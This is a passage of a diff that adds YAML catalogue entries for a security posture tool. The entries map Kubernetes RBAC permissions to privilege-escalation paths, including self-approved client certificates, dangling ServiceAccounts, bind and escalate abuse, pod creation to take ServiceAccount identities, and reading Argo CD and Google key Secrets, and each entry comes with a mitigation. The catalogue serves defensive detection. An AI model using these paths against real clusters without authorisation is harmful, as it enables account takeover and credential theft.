k8s-rbac-csr-kube-apiserver-client-serviceaccount. Client certificates cannot be revoked short of rotating the CA. + +- id: k8s-rbac-csr-kube-apiserver-client-group + provider: k8s + service: certificates + title: Issue and approve a client certificate carrying groups + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#certificate-signing-requests + source_revision: 2415fadfbd + summary: The source can obtain the privileges of RBAC-bound groups (other than system:masters) by self-approving a kube-apiserver-client certificate with those organizations. + requires: + all_of: + - {verb: create, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + # Read the issued certificate back (status.certificate). + - any_of: + - {verb: get, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: list, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: watch, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - any_of: + - {verb: update, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + - {verb: patch, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + # The signer check also accepts the domain wildcard resourceName. + - any_of: + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/kube-apiserver-client"} + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/*"} + target: + kind: k8s_group + selector: + any_principal_in_scope: true + exclude_names: ["system:masters"] + k8s_csr_same_name_path: true + scope: cluster + aggregate_as: "Groups bound in RBAC in {cluster}" + conditions: + - id: kube_apiserver_client_signer_enabled + description: The controller-manager must be signing kubernetes.io/kube-apiserver-client. + - id: signer_group_restrictions + description: Signer or approver policy may refuse specific organizations; system:masters was refused in the HackTricks lab. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict approve on signers and certificatesigningrequests/approval to cluster administrators. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#kubernetes-signers + notes: Official docs list no subject restrictions for kubernetes.io/kube-apiserver-client beyond approver/signer policy; the system:masters exclusion follows the HackTricks v1.37 lab result. + +- id: k8s-rbac-dangling-serviceaccount-reference + provider: k8s + service: rbac + title: Create a ServiceAccount referenced by an existing binding but missing + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md#missing-service-account + source_revision: a66f094ede + summary: The source can use a binding for a missing ServiceAccount in an existing namespace by creating that ServiceAccount and then running as it. + requires: + all_of: + - verb: create + resource: serviceaccounts + namespace: "{target.namespace}" + any_of: + # Run a workload as the recreated ServiceAccount (pod or any pod-creating controller). + - - any_of: + - {verb: create, resource: pods, namespace: "{target.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{target.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{target.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{target.namespace}"} + - - {verb: create, resource: serviceaccounts, subresource: token, namespace: "{target.namespace}", resource_name: "{target.name}"} + # Legacy token Secret for the recreated ServiceAccount, then read it back. + - - {verb: create, resource: secrets, namespace: "{target.namespace}"} + - any_of: + - {verb: get, resource: secrets, namespace: "{target.namespace}"} + - {verb: list, resource: secrets, namespace: "{target.namespace}"} + - {verb: watch, resource: secrets, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_absent_but_bound: true + k8s_dangling_sa_permission_gain: true + k8s_sa_in_namespace: "{target.namespace}" + scope: same_namespace + aggregate_as: "Dangling ServiceAccount references in {target.namespace}" + conditions: + - id: service_account_use_allowed + description: Admission policy and ServiceAccount token settings must allow the selected workload or token route. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove bindings that reference missing ServiceAccounts or restrict who can recreate those ServiceAccounts. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#referring-to-subjects + notes: Applies to vanilla Kubernetes too (RBAC subjects are matched by name, not UID). The target is the binding subject name; the evaluator should synthesize a virtual k8s_service_account node for each subject that does not exist in the snapshot, carrying the bound privileges. Controller creates are alternatives to pods create (the book requires "a way to use the account, such as permission to create a workload under it"); list/watch return Secret data like get (a66f094ede). + +- id: k8s-rbac-serviceaccount-in-absent-namespace + provider: k8s + service: rbac + title: Create the missing namespace and ServiceAccount named by a binding or SCC + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md#missing-service-account + source_revision: a66f094ede + summary: The source can obtain the privileges granted to a ServiceAccount whose namespace does not exist by creating that namespace and ServiceAccount and then running as it. + requires: + all_of: [] + any_of: + - - {verb: create, resource: namespaces, namespace: "*"} + - {verb: create, resource: serviceaccounts, namespace: "*"} + - any_of: + - {verb: create, resource: pods, namespace: "*"} + - {verb: create, resource: deployments, api_group: apps, namespace: "*"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "*"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "*"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "*"} + - {verb: create, resource: replicationcontrollers, namespace: "*"} + - {verb: create, resource: jobs, api_group: batch, namespace: "*"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "*"} + - - {verb: create, resource: namespaces, namespace: "*"} + - {verb: create, resource: serviceaccounts, namespace: "*"} + - {verb: create, resource: serviceaccounts, subresource: token, namespace: "*", resource_name: "{target.name}"} + - - {verb: create, resource: namespaces, namespace: "*"} + - {verb: create, resource: serviceaccounts, namespace: "*"} + - {verb: create, resource: secrets, namespace: "*"} + - any_of: + - {verb: get, resource: secrets, namespace: "*"} + - {verb: list, resource: secrets, namespace: "*"} + - {verb: watch, resource: secrets, namespace: "*"} + - - {verb: create, resource: projectrequests, api_group: project.openshift.io, namespace: "*"} + target: + kind: k8s_service_account + selector: + k8s_sa_namespace_absent: true + scope: cluster + aggregate_as: "ServiceAccounts in absent namespaces of {cluster}" + conditions: + - id: namespace_name_allowed + description: Namespace or project creation can be restricted by admission or the project request template; the exact referenced name must be creatable. + - id: projectrequest_grants_admin + description: The projectrequests alternative applies only on OpenShift, where the default project template makes the requester admin of the new project (enough to create the ServiceAccount and pods there). + blockers: [admission_policy] + confidence: conditional + severity: high + mitigation: Remove bindings and SCC users entries whose ServiceAccount namespace no longer exists; restrict namespace and project creation. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#referring-to-subjects + notes: k8s_sa_namespace_absent targets ServiceAccounts referenced by a binding that adds a concrete right or by a host-access SCC users[] entry whose namespace is absent from a complete namespace inventory (unknown if the inventory is incomplete). The serviceaccount and pod grants must be cluster-wide (namespace "*") because the namespace does not exist yet. Complements k8s-rbac-dangling-serviceaccount-reference (namespace exists). + +- id: k8s-rbac-escalate-rolebound-clusterrole-namespace + provider: k8s + service: rbac + title: Escalate a ClusterRole bound in one namespace + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#escalate + source_revision: 2415fadfbd + summary: Editing a ClusterRole bound through a RoleBinding can grant the source workload and token rights in that namespace. + requires: + all_of: + - verb: escalate + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + resource_name: "{source_rolebound_clusterrole}" + any_of: + - - verb: update + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + resource_name: "{source_rolebound_clusterrole}" + - - verb: patch + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + resource_name: "{source_rolebound_clusterrole}" + target: + kind: k8s_service_account + selector: {k8s_sa_in_namespace: "{target.namespace}"} + scope: same_namespace + outcome: identity + blockers: [] + confidence: conditional + severity: high + mitigation: Do not combine escalate and edit authority on roles bound to the editor. +- id: k8s-rbac-bind-existing-role-new-permission + provider: k8s + service: rbac + title: Bind an existing Role or ClusterRole that grants a new permission + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind + source_revision: 2415fadfbd + summary: The source can create a RoleBinding to an existing Role or ClusterRole whose collected rules grant at least one concrete permission the source does not already hold in that namespace. + requires: + all_of: + - verb: create + resource: rolebindings + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + target: + kind: k8s_verified_authority + selector: + k8s_bound_role_gain: true + scope: cluster + outcome: permission_grant + grants: ["The exact collected Role or ClusterRole permissions in the binding namespace"] + aggregate_as: "New permissions from an existing RoleBinding target" + conditions: + - id: exact_role_and_new_permission + description: The selected Role must exist, the source must have bind on it, and a concrete rule must grant a permission not already held by the source in the binding namespace. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Avoid combining RoleBinding creation with bind on roles that grant sensitive actions; restrict bind to specific low-privilege roles. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update + notes: This is a permission gain bounded to the named Role and namespace. It does not claim the source becomes another ServiceAccount. Missing RBAC inventory keeps a possible route conditional, and a complete inventory with no new permission produces no edge. + +- id: k8s-rbac-modify-existing-rolebinding-new-permission + provider: k8s + service: rbac + title: Add the source to an existing RoleBinding that grants a new permission + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind + source_revision: 2415fadfbd + summary: An existing RoleBinding points to a collected Role or ClusterRole with a permission the source lacks, and the source can add itself to that exact binding. + requires: + any_of: + - - verb: patch + resource: rolebindings + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + - - verb: update + resource: rolebindings + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + target: + kind: k8s_verified_authority + selector: + k8s_existing_rolebinding_gain: true + scope: cluster + outcome: permission_grant + grants: ["The exact collected Role or ClusterRole permissions in the binding namespace"] + aggregate_as: "New permissions from an existing RoleBinding" + conditions: + - id: exact_existing_binding_and_new_permission + description: A collected RoleBinding must point to the selected Role, the source must be able to modify that binding and bind the exact Role, and a concrete rule must add a permission the source lacks. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Limit writes to RoleBindings and bind access to roles that grant sensitive permissions. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update + notes: A RoleBinding roleRef cannot be changed. The selector joins the existing binding to its current Role and verifies patch or update on that exact binding. Missing or uncertain RBAC facts keep the path conditional. + +- id: k8s-rbac-bind-existing-clusterrole-new-permission + provider: k8s + service: rbac + title: Bind an existing ClusterRole that grants a new cluster-wide permission + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind + source_revision: 2415fadfbd + summary: The source can create a ClusterRoleBinding to an existing ClusterRole whose collected rules grant a concrete cluster-wide permission the source does not already hold. + requires: + all_of: + - verb: create + resource: clusterrolebindings + api_group: rbac.authorization.k8s.io + namespace: "*" + target: + kind: k8s_verified_authority + selector: + k8s_clusterrolebinding_gain: true + scope: cluster + outcome: permission_grant + grants: ["The exact collected ClusterRole permissions across the cluster"] + aggregate_as: "New cluster-wide permissions from an existing ClusterRole" + conditions: + - id: exact_clusterrole_and_new_permission + description: The ClusterRole must exist, the source must have bind on it, and a concrete rule must grant a cluster-wide permission the source lacks. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Avoid combining ClusterRoleBinding creation with bind on roles that grant sensitive actions. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update + notes: The gained permissions are bounded to the exact ClusterRole rules. The route does not claim another identity's access. + +- id: k8s-rbac-modify-existing-clusterrolebinding-new-permission + provider: k8s + service: rbac + title: Add the source to an existing ClusterRoleBinding that grants a new permission + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind + source_revision: 2415fadfbd + summary: An existing ClusterRoleBinding points to a collected ClusterRole with a cluster-wide permission the source lacks, and the source can add itself to that exact binding. + requires: + any_of: + - - verb: patch + resource: clusterrolebindings + api_group: rbac.authorization.k8s.io + namespace: "*" + - - verb: update + resource: clusterrolebindings + api_group: rbac.authorization.k8s.io + namespace: "*" + target: + kind: k8s_verified_authority + selector: + k8s_existing_clusterrolebinding_gain: true + scope: cluster + outcome: permission_grant + grants: ["The exact collected ClusterRole permissions across the cluster"] + aggregate_as: "New cluster-wide permissions from an existing ClusterRoleBinding" + conditions: + - id: exact_existing_cluster_binding_and_new_permission + description: A collected ClusterRoleBinding must point to the selected ClusterRole, the source must be able to modify that binding and bind the exact role, and a concrete rule must add a cluster-wide permission the source lacks. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Limit ClusterRoleBinding writes and bind access to roles that grant sensitive permissions. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update + notes: The selector joins the existing binding to its immutable roleRef and verifies patch or update on that exact binding. Uncertain RBAC facts keep the path conditional. + +- id: k8s-rbac-escalate-aggregating-clusterrole-namespace + provider: k8s + service: rbac + title: Add rules to a ClusterRole bound to the source in a namespace + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bindings-and-aggregated-clusterroles + source_revision: 2415fadfbd + summary: The source can create a ClusterRole whose labels feed an aggregated ClusterRole bound to it through a RoleBinding, adding workload and token rights in that binding's namespace. + source_selector: + source_bound_to_aggregated_clusterrole: namespace + requires: + all_of: + - verb: create + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + - verb: escalate + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + target: + kind: k8s_service_account + selector: + k8s_aggregated_rolebinding_namespace: true + k8s_aggregation_new_role_path: true + scope: cluster + aggregate_as: "ServiceAccounts in an aggregated RoleBinding namespace" + conditions: + - id: namespace_aggregate_binding_and_controller + description: A collected RoleBinding must give the source an aggregated ClusterRole in the target namespace, and the aggregation controller must add the source-created rules that permit workload or token access. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: high + mitigation: Do not combine ClusterRole creation and escalate with an aggregated ClusterRole already bound to the same principal. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#aggregated-clusterroles + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-creation-or-update + notes: A RoleBinding limits the added rules to its namespace. Without escalate or prior ownership of the proposed rules, the new ClusterRole cannot add permissions that the source did not already hold. + +- id: k8s-rbac-csr-kube-apiserver-client-serviceaccount + provider: k8s + service: certificates + title: Issue and approve a client certificate for a bound ServiceAccount username + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#certificate-signing-requests + source_revision: 2415fadfbd + summary: The source can request a client certificate whose common name matches a ServiceAccount username already named in RBAC, then approve and read the signed certificate. + requires: + all_of: + - {verb: create, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - any_of: + - {verb: get, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: list, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: watch, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - any_of: + - {verb: update, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + - {verb: patch, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + - any_of: + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/kube-apiserver-client"} + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/*"} + target: + kind: k8s_service_account + selector: + k8s_csr_sa_subject: true + k8s_csr_same_name_path: true + scope: cluster + aggregate_as: "ServiceAccount usernames bound in RBAC in {cluster}" + conditions: + - id: kube_apiserver_client_signer_enabled + description: The controller-manager must sign certificates for kubernetes.io/kube-apiserver-client and accept the requested subject. + - id: client_cert_auth_honored + description: The API server must accept the issued client certificate and its ServiceAccount username. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict CSR creation, approval and signer approval to separate trusted operators. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#kubernetes-signers + notes: A client certificate authenticates as its common-name username, so an RBAC ServiceAccount subject matches even when the ServiceAccount object is absent. ServiceAccount group bindings require the corresponding certificate organization and are covered by the group CSR technique. This path includes only ServiceAccount usernames with collected direct RBAC bindings. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/scoped-credential-v7.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/scoped-credential-v7.yaml new file mode 100644 index 0000000000..0d97d7920c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/scoped-credential-v7.yaml @@ -0,0 +1,81 @@ +# catalog_description: Only principal-to-principal or principal-to-additional-permission +# escalation paths belong here. A source must control a credential or hold the +# required verbs, perform the named action, and reach a known target identity +# or new effective permission. Generic Secret reads and guardrail changes +# without a proven identity or permission gain are excluded. +# Canonical provider policy: peaso/privesc/catalog_policy.yaml. +- id: k8s-workloads-pods-mount-argocd-cluster-credential + provider: k8s + service: workloads + title: Mount an Argo CD managed-cluster credential in a Pod + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#pod-creation-policy-gaps + source_revision: 2415fadfbd + summary: A Pod author can obtain the registered-cluster identity from a credential-bearing + Argo CD Secret in the same namespace without Secret-read RBAC. + requires: + all_of: [] + any_of: + - - verb: create + resource: pods + namespace: '{target.namespace}' + - - verb: create + resource: deployments + api_group: apps + namespace: '{target.namespace}' + - - verb: create + resource: daemonsets + api_group: apps + namespace: '{target.namespace}' + - - verb: create + resource: statefulsets + api_group: apps + namespace: '{target.namespace}' + - - verb: create + resource: replicasets + api_group: apps + namespace: '{target.namespace}' + - - verb: create + resource: replicationcontrollers + namespace: '{target.namespace}' + - - verb: create + resource: jobs + api_group: batch + namespace: '{target.namespace}' + - - verb: create + resource: cronjobs + api_group: batch + namespace: '{target.namespace}' + target: + kind: k8s_remote_cluster + outcome: credentials + selector: + k8s_secret_holds_remote_cluster_credential: argocd.argoproj.io/secret-type=cluster + k8s_challenge_fact: k8s-workloads-pods-mount-argocd-cluster-credential + scope: cluster + aggregate_as: Argo CD registered-cluster credentials in {cluster} + conditions: + - id: same_namespace_and_admitted_pod + description: A Pod produced by the grant must run in the Secret namespace and + be admitted with a Secret volume or environment reference; admission may deny + the Pod, reference, image, or controller. + - id: usable_remote_cluster_credential + description: The Secret config must contain a currently usable bearer token or + client certificate. An Argo CD label or exec credential-provider configuration + alone does not prove this. + blockers: + - admission_policy + - admission_webhook + - kyverno_policy + - gatekeeper_constraint + confidence: conditional + severity: high + mitigation: Restrict Pod and controller creation in namespaces holding Argo CD cluster + credentials; enforce Secret-reference admission rules. + references: + - https://kubernetes.io/docs/concepts/configuration/secret/ + - https://argo-cd.readthedocs.io/en/stable/operator-manual/declarative-setup/#clusters + notes: Requires fresh metadata-only reviewed evidence binding the source, Secret + UID, admitted workload namespace and kind, exact remote cluster, accepted credential + subject, audience, expiry and effective remote rights. No Secret values are read + or stored. The target denotes this stored remote credential only; it never implies + cluster administrator privileges. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/verified_pivots.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/verified_pivots.yaml new file mode 100644 index 0000000000..7c8ec080a4 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/verified_pivots.yaml @@ -0,0 +1,126 @@ +# catalog_description: Each path starts from a named Kubernetes principal and +# declared permission, performs a specific action, and reaches a verified exact +# principal or a new effective permission. Reviewed evidence is mandatory; +# metadata labels and annotations alone never create these edges. +# Canonical provider policy: peaso/privesc/catalog_policy.yaml. +- id: k8s-rbac-secrets-read-argocd-cluster-credential + provider: k8s + service: rbac + title: Read a verified Argo CD remote-cluster credential Secret + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#argo-cd-managed-cluster-credentials + source_revision: 2415fadfbd + summary: Read one named Argo CD Secret whose verified usable credential authenticates as an exact remote-cluster subject with a newly allowed action. + requires: + all_of: [] + any_of: + - [{verb: get, resource: secrets, namespace: "{target.namespace}", resource_name: "{target.name}"}] + - [{verb: list, resource: secrets, namespace: "{target.namespace}"}] + - [{verb: watch, resource: secrets, namespace: "{target.namespace}"}] + target: + kind: k8s_remote_cluster + outcome: credentials + selector: {k8s_verified_pivot: k8s-rbac-secrets-read-argocd-cluster-credential} + scope: cluster + aggregate_as: Verified Argo CD remote-cluster subjects + conditions: + - id: exact_remote_credential_review + description: A unique fresh reviewed record binds the exact Secret UID/version, successful read, accepted remote subject, usable token or client certificate, and an action the source could not previously perform. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict access to Argo CD cluster Secrets and use scoped, renewable remote-cluster credentials. + references: + - https://argo-cd.readthedocs.io/en/stable/operator-manual/declarative-setup/#clusters + notes: The target is the exact accepted remote-cluster subject, not every principal on that cluster. No Secret value is stored. + +- id: k8s-cloud-pivot-secret-static-gcp-sa-key + provider: k8s + service: gke + title: Read a verified Google service-account key from a Secret + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#static-google-service-account-key-mounted-as-a-secret + source_revision: 2415fadfbd + summary: Read one named Secret containing a verified active JSON key and authenticate as the exact Google service account for a newly allowed IAM action. + requires: + all_of: [] + any_of: + - [{verb: get, resource: secrets, namespace: "{target.namespace}", resource_name: "{target.name}"}] + - [{verb: list, resource: secrets, namespace: "{target.namespace}"}] + - [{verb: watch, resource: secrets, namespace: "{target.namespace}"}] + target: + kind: cloud_identity + outcome: credentials + selector: {k8s_verified_pivot: k8s-cloud-pivot-secret-static-gcp-sa-key} + scope: cluster + aggregate_as: Verified Google service-account keys in Kubernetes Secrets + conditions: + - id: exact_google_key_review + description: A unique fresh reviewed record binds the Secret UID/version, key ID, accepted Google service-account email, successful key authentication, and named IAM action previously denied to the source. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict Secret reads, revoke exposed service-account keys, and prefer workload federation. + references: + - https://cloud.google.com/iam/docs/keys-create-delete + notes: This row covers direct Secret reads. A Pod mount needs a separate admitted-workload proof; Secret labels and name hints are insufficient. + +- id: k8s-gke-authenticated-user-rolebinding-self-grant + provider: k8s + service: gke + title: Bind a GKE authenticated user to new Kubernetes RBAC access + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#escalating-in-gke + source_revision: 2415fadfbd + summary: Create or update an exact RoleBinding to ClusterRole view for the caller's own verified Google-authenticated Kubernetes username, gaining get pods in that namespace. + source_kind: k8s_user + requires: + all_of: + - {verb: bind, api_group: rbac.authorization.k8s.io, resource: clusterroles, resource_name: view, namespace: "*"} + any_of: + - [{verb: create, api_group: rbac.authorization.k8s.io, resource: rolebindings, namespace: "{pivot.namespace}"}] + - [{verb: patch, api_group: rbac.authorization.k8s.io, resource: rolebindings, namespace: "{pivot.namespace}"}] + - [{verb: update, api_group: rbac.authorization.k8s.io, resource: rolebindings, namespace: "{pivot.namespace}"}] + target: + kind: k8s_verified_authority + outcome: permission_grant + selector: {k8s_verified_pivot: k8s-gke-authenticated-user-rolebinding-self-grant} + scope: cluster + grants: ["get pods in the exact reviewed RoleBinding namespace to the source's authenticated user"] + conditions: + - id: exact_gke_self_grant_review + description: A unique fresh record proves control of the Google credential, observed Kubernetes username, exact accepted RoleBinding subject and role, prior denial, and newly allowed get pods. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict RoleBinding writes and bind privileges; verify grants against each authenticated subject's effective RBAC. + references: + - https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control + notes: This grants Kubernetes RBAC only; it neither creates a Google credential nor grants Google IAM permissions. + +- id: k8s-cloud-kiam-kube2iam-annotation + provider: k8s + service: eks + title: Obtain an IAM role through a verified Kiam or Kube2IAM Pod + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#kiam--kube2iam-iam-role-for-pods + source_revision: 2415fadfbd + summary: Create an admitted running Pod with an exact role annotation in a namespace whose proxy policy allows it, then obtain verified usable credentials for that IAM role. + requires: + all_of: + - {verb: create, resource: pods, namespace: "{target.namespace}"} + target: + kind: cloud_identity + outcome: credentials + selector: {k8s_verified_pivot: k8s-cloud-kiam-kube2iam-annotation} + scope: cluster + aggregate_as: Verified Kiam or Kube2IAM IAM roles + conditions: + - id: exact_metadata_proxy_review + description: A unique fresh record proves the admitted running Pod's exact annotation, namespace allowlist, running proxy, successful role trust and delivered credentials, and a newly allowed IAM action. + blockers: + - admission_policy + - admission_webhook + confidence: conditional + severity: high + mitigation: Limit Pod creation, namespace role allowlists, and proxy role trust to intended workloads. + references: + - https://github.com/uswitch/kiam + - https://github.com/jtblin/kube2iam + notes: An annotation or namespace allowlist alone cannot establish a role edge. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/workloads.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/workloads.yaml new file mode 100644 index 0000000000..b74c119aeb --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/workloads.yaml @@ -0,0 +1,332 @@ +# catalog_description: Only principal-to-principal or principal-to-additional-permission +# escalation paths belong here. A source must control a credential or hold the +# required verbs, perform the named action, and reach a known target identity +# or new effective permission. Generic Secret reads and guardrail changes +# without a proven identity or permission gain are excluded. +# Canonical provider policy: peaso/privesc/catalog_policy.yaml. +# Kubernetes workload-plane techniques: run code as a ServiceAccount by creating/modifying +# pods or controllers, entering existing pods, or injecting into pods via admission. +# Conventions: see header of rbac.yaml. Source: hacktricks-cloud rev a53b46392c, re-verified against 171e422. + +- id: k8s-workloads-pods-create + provider: k8s + service: workloads + title: Create a pod that runs as any ServiceAccount of the namespace + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#pod-create---steal-token + source_revision: 2415fadfbd + summary: The source can obtain the privileges of every ServiceAccount in the namespace where it can create pods. + requires: + all_of: + - verb: create + resource: pods + namespace: "{target.namespace}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + scope: same_namespace + aggregate_as: "All ServiceAccounts in {target.namespace}" + conditions: + - id: admission_restricts_service_account + description: A validating/mutating admission policy (VAP, webhook, Kyverno, Gatekeeper, OpenShift SCC) that restricts serviceAccountName, token automount or images could remove the edge. Pod Security Admission does not restrict the ServiceAccount. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Do not grant pods create in namespaces that host privileged ServiceAccounts (kube-system, operator namespaces); keep powerful ServiceAccounts in dedicated namespaces. + references: + - https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation + notes: The pod-level automountServiceAccountToken overrides the ServiceAccount's setting, so automount=false on the ServiceAccount is not a blocker. Severity is raised by the evaluator when a reachable ServiceAccount is admin-equivalent. + +- id: k8s-workloads-controllers-create + provider: k8s + service: workloads + title: Create a workload controller whose pod template runs as any ServiceAccount + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#createpatch-deployment-daemonsets-statefulsets-replicationcontrollers-replicasets-jobs-and-cronjobs + source_revision: 2415fadfbd + summary: The source can obtain the privileges of every ServiceAccount in the namespace where it can create a pod-creating controller. + requires: + all_of: [] + any_of: + - - {verb: create, resource: deployments, api_group: apps, namespace: "{target.namespace}"} + - - {verb: create, resource: daemonsets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: create, resource: statefulsets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: create, resource: replicasets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: create, resource: replicationcontrollers, namespace: "{target.namespace}"} + - - {verb: create, resource: jobs, api_group: batch, namespace: "{target.namespace}"} + - - {verb: create, resource: cronjobs, api_group: batch, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + scope: same_namespace + aggregate_as: "All ServiceAccounts in {target.namespace}" + conditions: + - id: admission_restricts_service_account + description: Admission policies applied to the controller-created pods (or to the controller objects) may restrict serviceAccountName or images. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Treat controller create like pods create; do not grant it in namespaces holding privileged ServiceAccounts. + references: + - https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation + notes: Pods are created by the controller-manager, so the source needs no pods permission and Kubernetes performs no "use ServiceAccount" check. + +- id: k8s-workloads-controllers-modify + provider: k8s + service: workloads + title: Modify an existing workload controller's pod template + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#createpatch-deployment-daemonsets-statefulsets-replicationcontrollers-replicasets-jobs-and-cronjobs + source_revision: 2415fadfbd + summary: The source can obtain the privileges of every ServiceAccount in the namespace by rewriting the pod template of a controller it can update or patch. + requires: + all_of: [] + any_of: + - - {verb: patch, resource: deployments, api_group: apps, namespace: "{target.namespace}"} + - - {verb: update, resource: deployments, api_group: apps, namespace: "{target.namespace}"} + - - {verb: patch, resource: daemonsets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: update, resource: daemonsets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: patch, resource: statefulsets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: update, resource: statefulsets, api_group: apps, 